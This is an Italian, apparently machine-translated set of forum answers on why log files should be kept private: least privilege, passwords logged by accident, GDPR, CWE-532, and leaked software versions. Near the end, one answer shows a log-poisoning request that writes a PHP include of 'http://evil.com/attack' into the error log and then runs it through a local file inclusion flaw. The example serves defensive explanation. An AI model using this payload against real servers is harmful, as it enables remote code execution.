Ci sono chiaramente 2 diverse linee di difesa qui.

In primo luogo, i dati altamente sensibili (segreti, in genere password) non dovrebbero mai essere registrati per evitare compromessi attraverso i log.

Ma il più un utente malintenzionato conosce un sistema, maggiore è il rischio di creare / utilizzare un attacco mirato. Ad esempio, le versioni del software non sono molto sensibili e possono ragionevolmente alimentare un log, ma possono aiutare nella scelta di un vettore di attacco.

Quindi la seconda linea di difesa è che qualcuno che non ha bisogno di accedere ai log dovrebbe non essere in grado di leggerli. Questa è un'applicazione diretta della regola dei privilegi minimi.

È comune fornire l'accesso ai log al team di sviluppo / manutenzione, ma tu dovresti valutare il rapporto rischio / guadagno, secondo ai tuoi strumenti di sicurezza per l'accesso. Il sistema più sicuro è quello a cui nessun utente può accedere, ma anche la sua usabilità è molto bassa ...

L'accesso ai dati di log non elaborati dovrebbe essere limitato agli utenti autorizzati.

Il semplice motivo è che anche quando in normali condizioni operative le tue applicazioni potrebbero non dovrebbero registrare alcun dato sensibili a esporre (e opinioni / regolamenti su ciò che è esattamente possono differire) quasi certamente arriverà un momento in cui i tuoi log contengono dati sensibili:

• A meno che tu non sia estremamente familiare con le tue applicazioni non sai in anticipo quali dettagli verranno registrati quando l'applicazione genera errori o eccezioni.
  La maggior parte delle applicazioni sono progettate per limitare la quantità di dettagli nei messaggi di errore che presentano agli utenti finali, ma registreranno (molto) di più dettagli nei loro log per aiutare gli amministratori e gli sviluppatori a risolvere la causa di tali errori ed eccezioni.

• Potrebbe essere necessario aumentare il livello di dettaglio dei log per la risoluzione dei problemi a un livello tale che i log conterranno dettagli sensibili che normalmente verrebbero soppressi.

• Come commentavano le persone: le persone che immettono le password per i nomi di accesso e gli sviluppatori che utilizzano il metodo GET anziché il POST e una miriade di errori umani simili possono risultare in campi altrimenti molto più innocui nel registro eventi che si "inquinano" con dati sensibili.

Ci sono prodotti che ti permetteranno di concedere agli utenti autenticati l'accesso basato sul web e di impostare gli ACL solo su rapporti aggregati, dati di log disinfettati / filtrati e / o tutti eventi di registro non elaborati come Splunk, Kibana e simili.

E sebbene l'accesso ai dati di log non elaborati debba essere limitato, puoi comunque decidere di pubblicare più pubblicamente un sottoinsieme disinfettato dei tuoi log o i rapporti che genereresti in base ai log, ad esempio pubblicare un rapporto sull'utilizzo e statistiche dei visitatori piuttosto che il log di accesso grezzo

Ha più punti di vista:

1) Non nascondendo i log, esponi la tua infrastruttura.

2) L'UE ha un GDPR. È vietato esporre IP, nomi, e-mail o qualsiasi cosa personale. (e almeno comportamento immorale e cattivo) gdpr-info.eu/art-32-gdpr

Se hai bisogno di mostrare i dati registrati a terze parti o usa uno strumento dedicato di facile accesso. Nel mio ufficio è graylog per esempio. Puoi facilmente raccogliere i tronchi, conservarli e controllarne l'accesso.

Le vulnerabilità che possono derivare dai tipi di informazioni scritte nei file di registro vengono enumerate come CWE-532 nel database Common Weakness Enumeration.

Informazioni scritte in I file di log possono essere di natura sensibile e fornire una guida preziosa a un utente malintenzionato o esporre informazioni sensibili degli utenti.

Anche la questione delle informazioni protette e identificabili personalmente è abbastanza rilevante, come affrontato in @ La risposta di KOLEGA sopra.

Anche se non registri intenzionalmente informazioni sensibili, a volte possono essere registrate inavvertitamente.

Ad esempio, supponi di registrare il nome utente degli accessi falliti. A volte le persone digitano accidentalmente la propria password nel campo del nome utente e questa verrà quindi registrata.

È meglio trattare i log come potenzialmente contenenti informazioni che dovrebbero essere protette, anche se normalmente non le consideri sensibili.

I file di registro dovrebbero trovarsi in una posizione sicura per impostazione predefinita in generale. I file di registro possono contenere indirizzo IP, e-mail e informazioni protette dalla legge. Quindi la mia raccomandazione è di mantenere sempre i file di registro in un luogo sicuro. D'altra parte, in alcuni casi questi file di registro vengono utilizzati per scopi forensi e dovresti proteggere le modifiche se possibile, questo dipende un po 'dal tuo sistema.

Come ha detto Serge Ballesta, le informazioni sensibili (nomi utente, password, ecc.) non dovrebbero mai essere inserite in un file di registro.

La vera preoccupazione per la sicurezza che emerge di avere file di registro accessibili pubblicamente deriva dall'acquisizione di informazioni sul tuo sistema, specialmente se stai usando software disponibile pubblicamente (non sviluppato per quel sistema unico).

Se sto tentando di accedere al tuo sistema, una cosa che potrei controllare PRIMA sono i tuoi file di registro. Se sono in grado di discernere quale software è in esecuzione sul tuo sistema e, cosa ancora più importante, quale VERSIONE di quel software viene utilizzata, posso restringere drasticamente la mia ricerca di exploit. Forse non hai aggiornato il tuo software alla versione più recente, c'è un bug nella vecchia versione che mi permette di usare SQL injection e c'è una riga nel tuo log che indica la versione del software attualmente in uso.

È più o meno lo stesso livello di rischio per la sicurezza dell'utilizzo di codice open source. Rende solo un tantino più facile per un utente malintenzionato trovare gli exploit. Cibo per la mente.

Alcune buone risposte qui, ma non complete.

Sì, potenzialmente i tuoi file di log potrebbero contenere dati sensibili, quindi tali dati dovrebbero essere esplicitamente limitati a quegli utenti che sono autorizzati ad accedervi. Purtroppo la mia esperienza è che la maggior parte delle organizzazioni che implementano questo tipo di controllo, giudicano grossolanamente male il numero di persone che dovrebbero essere autorizzate.

Ma un altro punto importante è che i tuoi utenti controllano molti dei dati che successivamente appaiono in i file di registro. A seconda dell'architettura di sistema dell'applicazione, ciò può fornire un meccanismo per sfruttare una vulnerabilità di inclusione di file locali in un exploit completo. Considera:

  GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E GET /vulnerable.php?file=/var/log/ httpd / error_log  

Questo può essere mitigato dal modo in cui il tuo server web gestisce la codifica della richiesta in ingresso e durante la scrittura nei file di log (ma è completamente impermeabile? ). Se consenti al server web di accedere al percorso del file di log direttamente tramite un URL, il meccanismo di escalation è leggermente diverso.

(Nota che nell'esempio sopra, se è possibile invocare un'inclusione remota, allora ciò sarà probabilmente possibile in tutto il codice, quindi la persistenza dell'exploit nel file di log è ridondante, ma questo è solo a scopo illustrativo, è possibile scrivere exploit più complessi)